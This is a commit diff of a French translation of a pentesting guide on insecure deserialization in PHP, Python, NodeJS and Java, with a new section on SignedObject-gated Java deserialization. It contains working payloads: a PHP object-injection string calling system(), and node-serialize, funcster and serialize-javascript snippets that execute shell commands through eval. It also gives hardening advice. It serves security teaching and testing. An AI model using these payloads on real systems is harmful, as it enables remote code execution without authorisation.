Translated ['src/pentesting-web/deserialization/java-signedobject-gated-

This commit is contained in:
Translator 2025-10-01 01:20:01 +00:00
parent 75ba1ddf3b
commit d63b722d3b
3 changed files with 382 additions and 225 deletions

View File

@ -622,6 +622,7 @@
- [Java JSF ViewState (.faces) Deserialization](pentesting-web/deserialization/java-jsf-viewstate-.faces-deserialization.md)
- [Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner](pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md)
- [Basic Java Deserialization (ObjectInputStream, readObject)](pentesting-web/deserialization/basic-java-deserialization-objectinputstream-readobject.md)
- [Java Signedobject Gated Deserialization](pentesting-web/deserialization/java-signedobject-gated-deserialization.md)
- [PHP - Deserialization + Autoload Classes](pentesting-web/deserialization/php-deserialization-+-autoload-classes.md)
- [CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep](pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md)
- [Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)](pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md)

View File

@ -1,24 +1,24 @@
# Désérialisation
# Deserialization
{{#include ../../banners/hacktricks-training.md}}
## Informations de base
**La sérialisation** est comprise comme la méthode de conversion d'un objet en un format qui peut être préservé, dans le but soit de stocker l'objet, soit de le transmettre dans le cadre d'un processus de communication. Cette technique est couramment utilisée pour garantir que l'objet peut être recréé ultérieurement, en maintenant sa structure et son état.
**Serialization** est comprise comme la méthode de conversion d'un objet en un format pouvant être conservé, dans l'intention soit de stocker l'objet soit de le transmettre dans le cadre d'une communication. Cette technique est couramment employée pour s'assurer que l'objet peut être recréé ultérieurement, en conservant sa structure et son état.
**La désérialisation**, en revanche, est le processus qui contrecarre la sérialisation. Elle consiste à prendre des données qui ont été structurées dans un format spécifique et à les reconstruire en un objet.
**Deserialization**, en revanche, est le processus qui contrecarre la serialization. Il consiste à prendre des données structurées dans un format spécifique et à les reconstruire en un objet.
La désérialisation peut être dangereuse car elle **permet potentiellement aux attaquants de manipuler les données sérialisées pour exécuter du code malveillant** ou provoquer un comportement inattendu dans l'application lors du processus de reconstruction de l'objet.
Deserialization peut être dangereuse car elle peut potentiellement **permettre à des attaquants de manipuler les serialized data pour exécuter du code malveillant** ou provoquer un comportement inattendu de l'application lors du processus de reconstruction de l'objet.
## PHP
En PHP, des méthodes magiques spécifiques sont utilisées lors des processus de sérialisation et de désérialisation :
Dans PHP, des magic methods spécifiques sont utilisées pendant les processus de serialization et de deserialization :
- `__sleep` : Invoquée lorsqu'un objet est en cours de sérialisation. Cette méthode doit retourner un tableau des noms de toutes les propriétés de l'objet qui doivent être sérialisées. Elle est couramment utilisée pour valider les données en attente ou effectuer des tâches de nettoyage similaires.
- `__wakeup` : Appelée lorsqu'un objet est en cours de désérialisation. Elle est utilisée pour rétablir toute connexion à la base de données qui aurait pu être perdue lors de la sérialisation et effectuer d'autres tâches de réinitialisation.
- `__unserialize` : Cette méthode est appelée à la place de `__wakeup` (si elle existe) lorsqu'un objet est en cours de désérialisation. Elle offre plus de contrôle sur le processus de désérialisation par rapport à `__wakeup`.
- `__destruct` : Cette méthode est appelée lorsqu'un objet est sur le point d'être détruit ou lorsque le script se termine. Elle est généralement utilisée pour des tâches de nettoyage, comme la fermeture des poignées de fichiers ou des connexions à la base de données.
- `__toString` : Cette méthode permet à un objet d'être traité comme une chaîne. Elle peut être utilisée pour lire un fichier ou d'autres tâches basées sur les appels de fonction à l'intérieur, fournissant ainsi une représentation textuelle de l'objet.
- `__sleep`: Appelé lorsqu'un objet est en cours de serialization. Cette méthode doit renvoyer un tableau contenant les noms de toutes les propriétés de l'objet qui doivent être serialized. Elle est couramment utilisée pour valider des données en attente ou effectuer des tâches de nettoyage similaires.
- `__wakeup`: Appelé lorsqu'un objet est en cours de deserialization. Il est utilisé pour rétablir les connexions à la base de données qui ont pu être perdues pendant la serialization et effectuer d'autres tâches de réinitialisation.
- `__unserialize`: Cette méthode est appelée à la place de `__wakeup` (si elle existe) lorsqu'un objet est en cours de deserialization. Elle offre un contrôle plus fin sur le processus de deserialization par rapport à `__wakeup`.
- `__destruct`: Cette méthode est appelée lorsqu'un objet est sur le point d'être détruit ou à la fin du script. Elle est typiquement utilisée pour des tâches de nettoyage, comme fermer des handles de fichiers ou des connexions à la base de données.
- `__toString`: Cette méthode permet de traiter un objet comme une chaîne. Elle peut être utilisée pour lire un fichier ou effectuer d'autres tâches basées sur les appels de fonction qu'elle contient, fournissant ainsi une représentation textuelle de l'objet.
```php
<?php
class test {
@ -74,10 +74,10 @@ This is a test<br />
*/
?>
```
Si vous regardez les résultats, vous pouvez voir que les fonctions **`__wakeup`** et **`__destruct`** sont appelées lorsque l'objet est désérialisé. Notez que dans plusieurs tutoriels, vous trouverez que la fonction **`__toString`** est appelée lors de la tentative d'impression d'un attribut, mais apparemment cela **n'arrive plus**.
Si vous regardez les résultats, vous pouvez voir que les fonctions **`__wakeup`** et **`__destruct`** sont appelées lorsque l'objet est désérialisé. Notez que dans plusieurs tutoriels, vous trouverez que la fonction **`__toString`** est appelée lorsqu'on tente d'afficher un attribut, mais apparemment cela **n'arrive plus**.
> [!WARNING]
> La méthode **`__unserialize(array $data)`** est appelée **au lieu de `__wakeup()`** si elle est implémentée dans la classe. Elle vous permet de désérialiser l'objet en fournissant les données sérialisées sous forme de tableau. Vous pouvez utiliser cette méthode pour désérialiser des propriétés et effectuer toutes les tâches nécessaires lors de la désérialisation.
> La méthode **`__unserialize(array $data)`** est appelée **au lieu de `__wakeup()`** si elle est implémentée dans la classe. Elle permet de désérialiser l'objet en fournissant les données sérialisées sous forme de tableau. Vous pouvez utiliser cette méthode pour désérialiser les propriétés et effectuer les opérations nécessaires lors de la désérialisation.
>
> ```php
> class MyClass {
@ -85,24 +85,24 @@ Si vous regardez les résultats, vous pouvez voir que les fonctions **`__wakeup`
>
> public function __unserialize(array $data): void {
> $this->property = $data['property'];
> // Effectuer toutes les tâches nécessaires lors de la désérialisation.
> // Perform any necessary tasks upon deserialization.
> }
> }
> ```
Vous pouvez lire un **exemple PHP expliqué ici** : [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), ici [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) ou ici [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
Vous pouvez lire un exemple PHP expliqué ici : [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), ici [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) ou ici [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
### PHP Deserial + Autoload Classes
Vous pourriez abuser de la fonctionnalité d'autoload de PHP pour charger des fichiers php arbitraires et plus :
Vous pouvez abuser de la fonctionnalité autoload de PHP pour charger des fichiers php arbitraires et plus encore :
{{#ref}}
php-deserialization-+-autoload-classes.md
{{#endref}}
### Sérialisation des valeurs référencées
### Sérialiser des valeurs référencées
Si pour une raison quelconque vous souhaitez sérialiser une valeur en tant que **référence à une autre valeur sérialisée**, vous pouvez :
Si pour une raison quelconque vous souhaitez sérialiser une valeur comme **référence à une autre valeur sérialisée**, vous pouvez :
```php
<?php
class AClass {
@ -115,12 +115,12 @@ $o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);
```
### Prévenir l'injection d'objet PHP avec `allowed_classes`
### Prévenir PHP Object Injection avec `allowed_classes`
> [!INFO]
> Le support pour le **deuxième argument** de `unserialize()` (le tableau `$options`) a été ajouté dans **PHP 7.0**. Dans les versions antérieures, la fonction n'accepte que la chaîne sérialisée, rendant impossible la restriction des classes pouvant être instanciées.
> Le support du **deuxième argument** de `unserialize()` (le tableau `$options`) a été ajouté dans **PHP 7.0**. Sur les versions plus anciennes la fonction n'accepte que la chaîne sérialisée, rendant impossible la restriction des classes pouvant être instanciées.
`unserialize()` va **instancier chaque classe** qu'il trouve dans le flux sérialisé, sauf indication contraire. Depuis PHP 7, le comportement peut être restreint avec l'option [`allowed_classes`](https://www.php.net/manual/en/function.unserialize.php) :
`unserialize()` va **instancier chaque classe** qu'il trouve dans le flux sérialisé sauf indication contraire. Depuis PHP 7 le comportement peut être restreint avec l'option [`allowed_classes`](https://www.php.net/manual/en/function.unserialize.php) :
```php
// NEVER DO THIS full object instantiation
$object = unserialize($userControlledData);
@ -135,11 +135,11 @@ $object = unserialize($userControlledData, [
'allowed_classes' => [MyModel::class, DateTime::class]
]);
```
Si **`allowed_classes` est omis _ou_ le code s'exécute sur PHP < 7.0**, l'appel devient **dangereux** car un attaquant peut créer une charge utile qui abuse des méthodes magiques telles que `__wakeup()` ou `__destruct()` pour atteindre l'exécution de code à distance (RCE).
Si **`allowed_classes` est omis _ou_ si le code s'exécute sur PHP < 7.0**, l'appel devient **dangereux** car un attaquant peut fabriquer un payload qui abuse des méthodes magiques telles que `__wakeup()` ou `__destruct()` pour obtenir Remote Code Execution (RCE).
#### Exemple du monde réel : Everest Forms (WordPress) CVE-2025-52709
#### Exemple réel : Everest Forms (WordPress) CVE-2025-52709
Le plugin WordPress **Everest Forms ≤ 3.2.2** a essayé d'être défensif avec un wrapper d'assistance mais a oublié les versions PHP héritées :
Le plugin WordPress **Everest Forms ≤ 3.2.2** a essayé d'être défensif avec un wrapper d'aide mais a oublié les anciennes versions de PHP :
```php
function evf_maybe_unserialize($data, $options = array()) {
if (is_serialized($data)) {
@ -154,29 +154,29 @@ return @unserialize(trim($data));
return $data;
}
```
Sur les serveurs qui exécutaient encore **PHP ≤ 7.0**, cette deuxième branche a conduit à une classique **PHP Object Injection** lorsque qu'un administrateur ouvrait une soumission de formulaire malveillante. Une charge utile d'exploitation minimale pourrait ressembler à :
Sur les serveurs tournant encore sous **PHP ≤ 7.0**, cette seconde branche menait à une classique **PHP Object Injection** lorsqu'un administrateur consultait une soumission de formulaire malveillante. Un exploit payload minimal pourrait ressembler à :
```
O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}
```
Dès que l'administrateur a consulté l'entrée, l'objet a été instancié et `SomeClass::__destruct()` a été exécuté, entraînant une exécution de code arbitraire.
Dès que l'admin a consulté l'entrée, l'objet a été instancié et `SomeClass::__destruct()` a été exécuté, entraînant une exécution de code arbitraire.
**À retenir**
1. Passez toujours `['allowed_classes' => false]` (ou une liste blanche stricte) lors de l'appel de `unserialize()`.
2. Auditez les wrappers défensifs ils oublient souvent les branches PHP héritées.
3. Passer à **PHP ≥ 7.x** seul n'est *pas* suffisant : l'option doit encore être fournie explicitement.
**Points clés**
1. Transmettez toujours `['allowed_classes' => false]` (ou une liste blanche stricte) lors de l'appel à `unserialize()`.
2. Auditez les wrappers défensifs ils oublient souvent les branches PHP héritées.
3. La mise à niveau vers **PHP ≥ 7.x** seule n'est *pas* suffisante : l'option doit toujours être fournie explicitement.
---
### PHPGGC (ysoserial pour PHP)
### PHPGGC (ysoserial for PHP)
[**PHPGGC**](https://github.com/ambionics/phpggc) peut vous aider à générer des charges utiles pour abuser des désérialisations PHP.\
Notez que dans plusieurs cas, vous **ne pourrez pas trouver un moyen d'abuser d'une désérialisation dans le code source** de l'application, mais vous pourrez peut-être **abuser du code des extensions PHP externes.**\
Donc, si vous le pouvez, vérifiez le `phpinfo()` du serveur et **recherchez sur Internet** (et même sur les **gadgets** de **PHPGGC**) quelques gadgets possibles que vous pourriez abuser.
[**PHPGGC**](https://github.com/ambionics/phpggc) peut vous aider à générer des payloads pour abuser des désérialisations PHP.\
Notez que dans plusieurs cas vous **ne pourrez pas trouver de moyen d'abuser d'une désérialisation dans le code source** de l'application mais vous pourrez peutêtre **abuser du code d'extensions PHP externes.**\ Donc, si vous le pouvez, vérifiez le `phpinfo()` du serveur et **recherchez sur internet** (y compris parmi les **gadgets** de **PHPGGC**) des gadgets possibles que vous pourriez exploiter.
### désérialisation des métadonnées phar://
### phar:// désérialisation des métadonnées
Si vous avez trouvé un LFI qui se contente de lire le fichier et n'exécute pas le code php qu'il contient, par exemple en utilisant des fonctions comme _**file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize()**_**.** Vous pouvez essayer d'abuser d'une **désérialisation** se produisant lors de la **lecture** d'un **fichier** en utilisant le protocole **phar**.\
Pour plus d'informations read the following post:
Si vous avez trouvé un LFI qui ne fait que lire le fichier et n'exécute pas le code php à l'intérieur, par exemple en utilisant des fonctions comme _**file_get_contents(), fopen(), file() ou file_exists(), md5_file(), filemtime() ou filesize()**_**.** Vous pouvez essayer d'abuser d'une **désérialisation** se produisant lors de la **lecture** d'un **fichier** en utilisant le protocole **phar**.\
Pour plus d'informations, lisez le post suivant :
{{#ref}}
../file-inclusion/phar-deserialization.md
@ -186,7 +186,7 @@ Pour plus d'informations, lisez le post suivant :
### **Pickle**
Lorsque l'objet est désérialisé, la fonction \_\_\_reduce\_\_\_ sera exécutée.\
Quand l'objet est désérialisé, la fonction \_\_\_reduce\_\_\_ sera exécutée.\
Lorsqu'il est exploité, le serveur pourrait renvoyer une erreur.
```python
import pickle, os, base64
@ -197,7 +197,8 @@ print(base64.b64encode(pickle.dumps(P())))
```
Avant de vérifier la technique de contournement, essayez d'utiliser `print(base64.b64encode(pickle.dumps(P(),2)))` pour générer un objet compatible avec python2 si vous exécutez python3.
Pour plus d'informations sur l'évasion des **pickle jails**, consultez :
Pour plus d'informations sur l'évasion des **pickle jails** consultez :
{{#ref}}
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
@ -205,13 +206,15 @@ Pour plus d'informations sur l'évasion des **pickle jails**, consultez :
### Yaml **&** jsonpickle
La page suivante présente la technique pour **abuser d'une désérialisation non sécurisée dans les bibliothèques python yamls** et se termine par un outil qui peut être utilisé pour générer un payload de désérialisation RCE pour **Pickle, PyYAML, jsonpickle et ruamel.yaml** :
La page suivante présente la technique pour **abuser d'une désérialisation non sécurisée dans les bibliothèques python de YAML** et se termine par un outil pouvant être utilisé pour générer RCE deserialization payload pour **Pickle, PyYAML, jsonpickle and ruamel.yaml** :
{{#ref}}
python-yaml-deserialization.md
{{#endref}}
### Pollution de classe (Pollution de prototype Python)
### Class Pollution (Python Prototype Pollution)
{{#ref}}
../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md
@ -219,12 +222,12 @@ python-yaml-deserialization.md
## NodeJS
### Fonctions magiques JS
### JS Magic Functions
JS **n'a pas de fonctions "magiques"** comme PHP ou Python qui vont être exécutées juste pour créer un objet. Mais il a certaines **fonctions** qui sont **fréquemment utilisées même sans les appeler directement** telles que **`toString`**, **`valueOf`**, **`toJSON`**.\
Si vous abusez d'une désérialisation, vous pouvez **compromettre ces fonctions pour exécuter d'autres codes** (abusant potentiellement des pollutions de prototype) et vous pourriez exécuter du code arbitraire lorsqu'elles sont appelées.
JS **n'a pas de fonctions "magiques"** comme PHP ou Python qui vont être exécutées simplement lors de la création d'un objet. Mais il existe certaines **fonctions** qui sont **fréquemment utilisées même sans être appelées directement**, telles que **`toString`**, **`valueOf`**, **`toJSON`**.\
Si vous abusez d'une désérialisation, vous pouvez **compromettre ces fonctions pour exécuter d'autres code** (potentiellement en abusant de prototype pollutions) et ainsi exécuter du code arbitraire lorsqu'elles sont appelées.
Une autre **façon "magique" d'appeler une fonction** sans l'appeler directement est de **compromettre un objet qui est retourné par une fonction asynchrone** (promise). Parce que, si vous **transformez** cet **objet de retour** en une autre **promise** avec une **propriété** appelée **"then" de type fonction**, elle sera **exécutée** juste parce qu'elle est retournée par une autre promise. _Suivez_ [_**ce lien**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _pour plus d'infos._
Une autre **façon "magique" d'appeler une fonction** sans l'appeler directement est de **compromettre un objet qui est renvoyé par une fonction async** (promise). En effet, si vous **transformez** cet **objet de retour** en une autre **promise** avec une **propriété** appelée **"then" de type function**, elle sera **exécutée** simplement parce qu'elle est retournée par une autre promise. _Suivez_ [_**ce lien**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _pour plus d'infos._
```javascript
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
@ -248,10 +251,9 @@ test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
```
### `__proto__` et pollution de `prototype`
Si vous voulez en savoir plus sur cette technique **regardez le tutoriel suivant** :
### `__proto__` and `prototype` pollution
Si vous voulez en savoir plus sur cette technique **jetez un œil au tutoriel suivant** :
{{#ref}}
nodejs-proto-prototype-pollution/
@ -276,19 +278,19 @@ L'**objet sérialisé** ressemblera à :
```bash
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
```
Vous pouvez voir dans l'exemple que lorsqu'une fonction est sérialisée, le drapeau `_$$ND_FUNC$$_` est ajouté à l'objet sérialisé.
Vous pouvez voir dans l'exemple que lorsqu'une fonction est sérialisée le `_$$ND_FUNC$$_` flag est appendu à l'objet sérialisé.
À l'intérieur du fichier `node-serialize/lib/serialize.js`, vous pouvez trouver le même drapeau et comment le code l'utilise.
À l'intérieur du fichier `node-serialize/lib/serialize.js` vous pouvez trouver le même flag et voir comment le code l'utilise.
![](<../../images/image (351).png>)
![](<../../images/image (446).png>)
Comme vous pouvez le voir dans le dernier morceau de code, **si le drapeau est trouvé**, `eval` est utilisé pour désérialiser la fonction, donc fondamentalement **l'entrée utilisateur est utilisée à l'intérieur de la fonction `eval`**.
Comme vous pouvez le voir dans le dernier extrait de code, **si le flag est trouvé** `eval` est utilisé pour désérialiser la fonction, donc en gros **l'entrée utilisateur est utilisée à l'intérieur de la fonction `eval`**.
Cependant, **simplement sérialiser** une fonction **ne l'exécutera pas**, car il serait nécessaire qu'une partie du code **appelle `y.rce`** dans notre exemple et c'est très **improbable**.\
Quoi qu'il en soit, vous pourriez simplement **modifier l'objet sérialisé** **en ajoutant des parenthèses** afin d'exécuter automatiquement la fonction sérialisée lorsque l'objet est désérialisé.\
Dans le prochain morceau de code, **remarquez la dernière parenthèse** et comment la fonction `unserialize` exécutera automatiquement le code :
Cependant, **simplement sérialiser** une fonction **ne l'exécutera pas**, car il faudrait qu'une partie du code **appelle `y.rce`** dans notre exemple et c'est très **peu probable**.\
Quoi qu'il en soit, vous pouvez simplement **modifier l'objet sérialisé** **en ajoutant des parenthèses** afin d'exécuter automatiquement la fonction sérialisée lorsque l'objet est désérialisé.\
Dans le prochain extrait de code **remarquez la dernière parenthèse** et comment la fonction `unserialize` exécutera automatiquement le code :
```javascript
var serialize = require("node-serialize")
var test = {
@ -296,20 +298,20 @@ rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(er
}
serialize.unserialize(test)
```
Comme indiqué précédemment, cette bibliothèque récupérera le code après `_$$ND_FUNC$$_` et **l'exécutera** en utilisant `eval`. Par conséquent, pour **exécuter automatiquement du code**, vous pouvez **supprimer la partie de création de la fonction** et la dernière parenthèse et **exécuter simplement une ligne de code JS** comme dans l'exemple suivant :
Comme indiqué précédemment, cette bibliothèque récupérera le code après `_$$ND_FUNC$$_` et **l'exécutera** en utilisant `eval`. Par conséquent, afin d'**auto-exécuter du code**, vous pouvez **supprimer la partie de création de la fonction** et la dernière parenthèse et **simplement exécuter un JS oneliner** comme dans l'exemple suivant :
```javascript
var serialize = require("node-serialize")
var test =
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
serialize.unserialize(test)
```
Vous pouvez [**trouver ici**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **plus d'informations** sur la façon d'exploiter cette vulnérabilité.
Vous pouvez [**trouver ici**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) des **informations supplémentaires** sur la manière d'exploiter cette vulnérabilité.
### [funcster](https://www.npmjs.com/package/funcster)
Un aspect notable de **funcster** est l'inaccessibilité des **objets intégrés standard** ; ils se situent en dehors du champ d'application accessible. Cette restriction empêche l'exécution de code qui tente d'invoquer des méthodes sur des objets intégrés, entraînant des exceptions telles que `"ReferenceError: console is not defined"` lorsque des commandes comme `console.log()` ou `require(something)` sont utilisées.
Un aspect notable de **funcster** est l'inaccessibilité des **objets intégrés standard** ; ils se trouvent en dehors du scope accessible. Cette restriction empêche l'exécution de code qui tente d'appeler des méthodes sur les objets intégrés, entraînant des exceptions telles que `"ReferenceError: console is not defined"` lorsque des commandes comme `console.log()` ou `require(something)` sont utilisées.
Malgré cette limitation, la restauration d'un accès complet au contexte global, y compris tous les objets intégrés standard, est possible grâce à une approche spécifique. En exploitant directement le contexte global, on peut contourner cette restriction. Par exemple, l'accès peut être rétabli en utilisant le snippet suivant :
Malgré cette limitation, il est possible de restaurer l'accès complet au contexte global, incluant tous les objets intégrés standard, grâce à une approche spécifique. En tirant parti du contexte global directement, on peut contourner cette restriction. Par exemple, l'accès peut être rétabli en utilisant le snippet suivant :
```javascript
funcster = require("funcster")
//Serialization
@ -331,17 +333,17 @@ __js_function:
}
funcster.deepDeserialize(desertest3)
```
**Pour**[ **plus d'informations, lisez cette source**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
**Pour**[ **more information read this source**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript)
Le package **serialize-javascript** est conçu exclusivement pour des fins de sérialisation, sans aucune capacité de désérialisation intégrée. Les utilisateurs sont responsables de la mise en œuvre de leur propre méthode de désérialisation. Une utilisation directe de `eval` est suggérée par l'exemple officiel pour désérialiser des données sérialisées :
Le package **serialize-javascript** est conçu uniquement pour la serialization et ne dispose d'aucune capacité de deserialization intégrée. Les utilisateurs doivent implémenter leur propre méthode de deserialization. L'exemple officiel suggère l'utilisation directe de `eval` pour deserializing serialized data:
```javascript
function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
}
```
Si cette fonction est utilisée pour désérialiser des objets, vous pouvez **facilement l'exploiter** :
Si cette fonction est utilisée pour deserialize des objets vous pouvez **easily exploit it**:
```javascript
var serialize = require("serialize-javascript")
//Serialization
@ -357,88 +359,98 @@ deserialize(test)
```
**Pour**[ **plus d'informations, lisez cette source**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
### Bibliothèque Cryo
### Cryo library
Dans les pages suivantes, vous pouvez trouver des informations sur la façon d'abuser de cette bibliothèque pour exécuter des commandes arbitraires :
Dans les pages suivantes, vous trouverez des informations sur la manière d'abuser de cette library pour exécuter des commandes arbitraires :
- [https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)
- [https://hackerone.com/reports/350418](https://hackerone.com/reports/350418)
## Java - HTTP
En Java, **les rappels de désérialisation sont exécutés pendant le processus de désérialisation**. Cette exécution peut être exploitée par des attaquants qui créent des charges utiles malveillantes déclenchant ces rappels, entraînant l'exécution potentielle d'actions nuisibles.
En Java, **deserialization callbacks are executed during the process of deserialization**. Cette exécution peut être exploitée par des attaquants qui créent des payloads malveillants déclenchant ces callbacks, conduisant potentiellement à l'exécution d'actions nuisibles.
### Empreintes
### Fingerprints
#### Boîte blanche
#### White Box
Pour identifier les vulnérabilités potentielles de sérialisation dans le code, recherchez :
Pour identifier d'éventuelles vulnérabilités de serialization dans la base de code, recherchez :
- Des classes qui implémentent l'interface `Serializable`.
- L'utilisation des fonctions `java.io.ObjectInputStream`, `readObject`, `readUnshared`.
- Classes qui implémentent l'interface `Serializable`.
- Utilisation de `java.io.ObjectInputStream`, des fonctions `readObject`, `readUnshare`.
Faites particulièrement attention à :
Portez une attention particulière à :
- `XMLDecoder` utilisé avec des paramètres définis par des utilisateurs externes.
- La méthode `fromXML` de `XStream`, surtout si la version de XStream est inférieure ou égale à 1.46, car elle est sujette à des problèmes de sérialisation.
- `ObjectInputStream` associé à la méthode `readObject`.
- L'implémentation de méthodes telles que `readObject`, `readObjectNodData`, `readResolve`, ou `readExternal`.
- `XMLDecoder` utilisé avec des paramètres fournis par des utilisateurs externes.
- La méthode `fromXML` de `XStream`, surtout si la version de XStream est inférieure ou égale à 1.46, car elle est susceptible de problèmes de serialization.
- `ObjectInputStream` couplé avec la méthode `readObject`.
- Implémentation de méthodes telles que `readObject`, `readObjectNodData`, `readResolve`, ou `readExternal`.
- `ObjectInputStream.readUnshared`.
- Utilisation générale de `Serializable`.
- Usage général de `Serializable`.
#### Boîte noire
#### Black Box
Pour les tests en boîte noire, recherchez des **signatures spécifiques ou "Magic Bytes"** qui désignent des objets sérialisés Java (provenant de `ObjectInputStream`) :
Pour le test black box, recherchez des **signatures or "Magic Bytes"** spécifiques qui indiquent des objets java sérialisés (provenant de `ObjectInputStream`) :
- Modèle hexadécimal : `AC ED 00 05`.
- Modèle Base64 : `rO0`.
- Motif hexadécimal : `AC ED 00 05`.
- Motif Base64 : `rO0`.
- En-têtes de réponse HTTP avec `Content-type` défini sur `application/x-java-serialized-object`.
- Modèle hexadécimal indiquant une compression préalable : `1F 8B 08 00`.
- Modèle Base64 indiquant une compression préalable : `H4sIA`.
- Fichiers web avec l'extension `.faces` et le paramètre `faces.ViewState`. La découverte de ces modèles dans une application web devrait inciter à un examen comme détaillé dans le [post sur la désérialisation de Java JSF ViewState](java-jsf-viewstate-.faces-deserialization.md).
- Motif hexadécimal indiquant une compression préalable : `1F 8B 08 00`.
- Motif Base64 indiquant une compression préalable : `H4sIA`.
- Fichiers web avec l'extension `.faces` et le paramètre `faces.ViewState`. La découverte de ces motifs dans une application web devrait conduire à un examen comme détaillé dans le [post about Java JSF ViewState Deserialization](java-jsf-viewstate-.faces-deserialization.md).
```
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
```
### Vérifiez si vulnérable
### Vérifier si vulnérable
Si vous voulez **apprendre comment fonctionne une exploitation de désérialisation Java**, vous devriez jeter un œil à [**Désérialisation Java de base**](basic-java-deserialization-objectinputstream-readobject.md), [**Désérialisation DNS Java**](java-dns-deserialization-and-gadgetprobe.md), et [**Charge utile CommonsCollection1**](java-transformers-to-rutime-exec-payload.md).
Si vous voulez **comprendre comment fonctionne un Java Deserialized exploit**, vous devriez consulter [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md), et [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md).
#### Test en boîte blanche
#### SignedObject-gated deserialization et atteignabilité pré-auth
Vous pouvez vérifier s'il y a des applications installées avec des vulnérabilités connues.
Les codebases modernes encapsulent parfois la deserialization avec `java.security.SignedObject` et valident une signature avant d'appeler `getObject()` (qui désérialise l'objet interne). Cela empêche les classes gadget arbitraires au niveau top-level mais peut rester exploitable si un attaquant parvient à obtenir une signature valide (par ex., compromission de la clé privée ou un signing oracle). De plus, les flux de gestion d'erreurs peuvent générer des jetons liés à la session pour les utilisateurs non authentifiés, exposant des sinks normalement protégés pre-auth.
Pour une étude de cas concrète avec des requêtes, IoCs et des recommandations de durcissement, voir :
{{#ref}}
java-signedobject-gated-deserialization.md
{{#endref}}
#### Test White Box
Vous pouvez vérifier si une application connue vulnérable est installée.
```bash
find . -iname "*commons*collection*"
grep -R InvokeTransformer .
```
Vous pourriez essayer de **vérifier toutes les bibliothèques** connues pour être vulnérables et que [**Ysoserial**](https://github.com/frohoff/ysoserial) peut fournir un exploit. Ou vous pourriez vérifier les bibliothèques indiquées sur [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\
Vous pourriez également utiliser [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) pour rechercher des chaînes de gadgets exploitables.\
Lors de l'exécution de **gadgetinspector** (après l'avoir construit), ne vous souciez pas des tonnes d'avertissements/erreurs qu'il rencontre et laissez-le finir. Il écrira tous les résultats sous _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Veuillez noter que **gadgetinspector ne créera pas d'exploit et peut indiquer des faux positifs**.
Vous pouvez essayer de **vérifier toutes les bibliothèques** connues pour être vulnérables et pour lesquelles [**Ysoserial** ](https://github.com/frohoff/ysoserial)can provide an exploit for. Or you could check the libraries indicated on [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\
Vous pouvez aussi utiliser [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) pour rechercher d'éventuelles gadget chains exploitables.\
Quand vous lancez **gadgetinspector** (après l'avoir compilé), ne vous préoccupez pas des tonnes d'avertissements/erreurs qu'il affiche et laissez-le terminer. Il écrira toutes les trouvailles sous _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Veuillez noter que **gadgetinspector ne créera pas d'exploit et peut indiquer des faux positifs**.
#### Test en boîte noire
